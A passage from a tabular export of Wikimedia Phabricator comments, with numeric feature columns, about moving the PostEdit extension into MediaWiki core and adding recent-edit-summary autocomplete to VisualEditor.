https://bugzilla.wikimedia.org/show_bug.cgi?id=16066",Medium,50.0,1368050160,1370049933.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ju6nd3s77iuekvlfhra5,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.7272727272727273,"As discussed with Steven W. just now, we should move this into MW core (so, amongst other things, VisualEditor can depend on it and not have to re-invent the wheel).

--------------------------
**Version**: master
**Severity**: normal
**See Also**:
URL"
213925,PostEdit: Core-ify this,"That's a cherry-pick back to wmf5, so no wikis that currently have PostEdit will lose it when we disable the extension.",,,1370051316,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8076923076923075,1.0,"That's a cherry-pick back to wmf5, so no wikis that currently have PostEdit will lose it when we disable the extension."
213919,PostEdit: Core-ify this,Related URL: https://gerrit.wikimedia.org/r/66316 (Gerrit Change I01cfc0630c3a505af82922844b5e70c1d61f3c1d),,,1370051236,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I01cfc0630c3a505af82922844b5e70c1d61f3c1d)
213911,PostEdit: Core-ify this,"(In reply to comment #1)
> Related URL: https://gerrit.wikimedia.org/r/66137 (Gerrit Change
> I01cfc0630c3a505af82922844b5e70c1d61f3c1d)

Merged.",,,1370049933,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7333333333333334,0.8666666666666667,"(In reply to comment #1)
QUOTE
QUOTE

Merged."
213902,PostEdit: Core-ify this,"Just for posterity, I'm noting bug 16066 here.",,,1369960333,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.5454545454545454,1.0,"Just for posterity, I'm noting bug 16066 here."
213892,PostEdit: Core-ify this,"(In reply to comment #2)
> I should note that one extension depending on another is *not* a legitimate
> reason for moving the dependency into the core. That said, I still agree with
> the merging of this extension since it's a trivial feature.

Yes, I agree completely. There had already been wide agreement that this should be moved into core; the VisualEditor requirement is just a spur.",,,1369941490,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,2.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,19.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.744186046511628,0.8837209302325582,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Yes, I agree completely. There had already been wide agreement that this should be moved into core; the VisualEditor requirement is just a spur."
213882,PostEdit: Core-ify this,"(In reply to comment #0)
> As discussed with Steven W. just now, we should move this into MW core (so,
> amongst other things, VisualEditor can depend on it and not have to re-invent
> the wheel).

I should note that one extension depending on another is *not* a legitimate reason for moving the dependency into the core. That said, I still agree with the merging of this extension since it's a trivial feature.",,,1369941304,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,12.0,3.0,0.0,14.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,5.0,16.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7413793103448274,0.8103448275862069,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

I should note that one extension depending on another is *not* a legitimate reason for moving the dependency into the core. That said, I still agree with the merging of this extension since it's a trivial feature."
213876,PostEdit: Core-ify this,Related URL: https://gerrit.wikimedia.org/r/66137 (Gerrit Change I01cfc0630c3a505af82922844b5e70c1d61f3c1d),,,1369937979,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ju6nd3s77iuekvlfhra5,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I01cfc0630c3a505af82922844b5e70c1d61f3c1d)
50274,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","We use textarea which means that browsers don't suggest text from previous uses.

**See Also**:
{T53903}
{T54859}
{T54085}",Medium,50.0,1368048660,1561611645.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-rc4yhxp2tlzilezhonck,task_description,resolved,True,c1,1,True,False,False,-8,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1142857142857143,0.7428571428571429,"We use textarea which means that browsers don't suggest text from previous uses.

**See Also**:
{T53903}
{T54859}
{T54085}"
1301848,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Do we consider this fixed now then ?,,,1561123591,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,311,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,Do we consider this fixed now then ?
1286934,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",It works nicely!,,,1558647083,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,307,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,It works nicely!
1286933,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",It looks nice!,,,1558647068,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,307,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,It looks nice!
1286928,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135349, @Esanders wrote:
> The above patch stops the first item being highlighted automatically. You can test the effect on live by pasting `ve.init.target.saveDialog.editSummaryInput.lookupHighlightFirstItem = false;` into the console after the save dialog has opened.

This worked nicely. Thanks much!

>>! In T50274#5209037, @matmarex wrote:
> @izno Now done in <https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/VisualEditor/+/512227>. I think we were still waiting for MediaWiki to be updated to use the new version of OOUI of something.

Coolio.",,,1558646270,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,307,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.6111111111111112,"QUOTE
QUOTE

This worked nicely. Thanks much!

QUOTE
QUOTE

Coolio."
1286862,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",@izno Now done in <https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/VisualEditor/+/512227>. I think we were still waiting for MediaWiki to be updated to use the new version of OOUI of something.,,,1558639964,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,307,,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,22.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,22.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.962962962962963,0.9259259259259259,SCREEN_NAME Now done in <URL I think we were still waiting for MediaWiki to be updated to use the new version of OOUI of something.
1270315,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5136148, @Esanders wrote:
>>>! In T50274#5135937, @Izno wrote:
>> BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.
> 
> Sorry, I'm not sure what you're referring to, can you provide a link?

```lang=javascript
	// HACK: Disable pending animation. Should be made an upstream option (T220204)
	// Parent method
```

{T220204}
",,,1556156399,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.55,0.4,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

``CODE``

{T220204}
"
1270314,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5136148, @Esanders wrote:
>>>! In T50274#5135937, @Izno wrote:
>> BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.
> 
> Sorry, I'm not sure what you're referring to, can you provide a link?

```lang=php
	// HACK: Disable pending animation. Should be made an upstream option (T220204)
	// Parent method
```

{T220204}
",,,1556156352,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.55,0.4,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

``CODE``

{T220204}
"
1270227,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135937, @Izno wrote:
> BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.

Sorry, I'm not sure what you're referring to, can you provide a link?",,,1556142593,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,9.0,5.0,0.0,0.0,14.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,3.1818181818181817,0.8636363636363636,"QUOTE
QUOTE

Sorry, I'm not sure what you're referring to, can you provide a link?"
1270152,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135349, @Esanders wrote:
> The above patch stops the first item being highlighted automatically. You can test the effect on live by pasting `ve.init.target.saveDialog.editSummaryInput.lookupHighlightFirstItem = false;` into the console after the save dialog has opened.

BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.",,,1556136821,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,6.0,12.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,3.235294117647059,0.8235294117647058,"QUOTE
QUOTE

BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago."
1270041,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 506191 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] EditSummaryWidget: Don't highlight first automatically

[[https://gerrit.wikimedia.org/r/506191]]",,,1556126337,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.393939393939394,0.7272727272727273,"Change 506191 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] EditSummaryWidget: Don't highlight first automatically

[[GERRIT_URL]]"
1270030,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",The above patch stops the first item being highlighted automatically. You can test the effect on live by pasting `ve.init.target.saveDialog.editSummaryInput.lookupHighlightFirstItem = false;` into the console after the save dialog has opened.,,,1556125232,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,10.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.516129032258065,0.8709677419354839,The above patch stops the first item being highlighted automatically. You can test the effect on live by pasting CODE into the console after the save dialog has opened.
1270028,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 506191 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] EditSummaryWidget: Don't highlight first automatically

[[https://gerrit.wikimedia.org/r/506191]]",,,1556125155,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.756756756756757,0.8108108108108109,"Change 506191 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] EditSummaryWidget: Don't highlight first automatically

[[GERRIT_URL]]"
1270022,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135228, @LucasWerkmeister wrote:
> Is it possible to opt out of this feature until that’s fixed?

No, but it shouldn't be too hard to fix. In the meantime you can press escape before ctrl+enter.

",,,1556124739,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4814814814814814,0.8888888888888888,"QUOTE
QUOTE

No, but it shouldn't be too hard to fix. In the meantime you can press escape before ctrl+enter.

"
1270019,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5106435, @Trizek wrote:
> Great feature. <3 
> Can we have a way to delete misspelled sentences? Thanks!

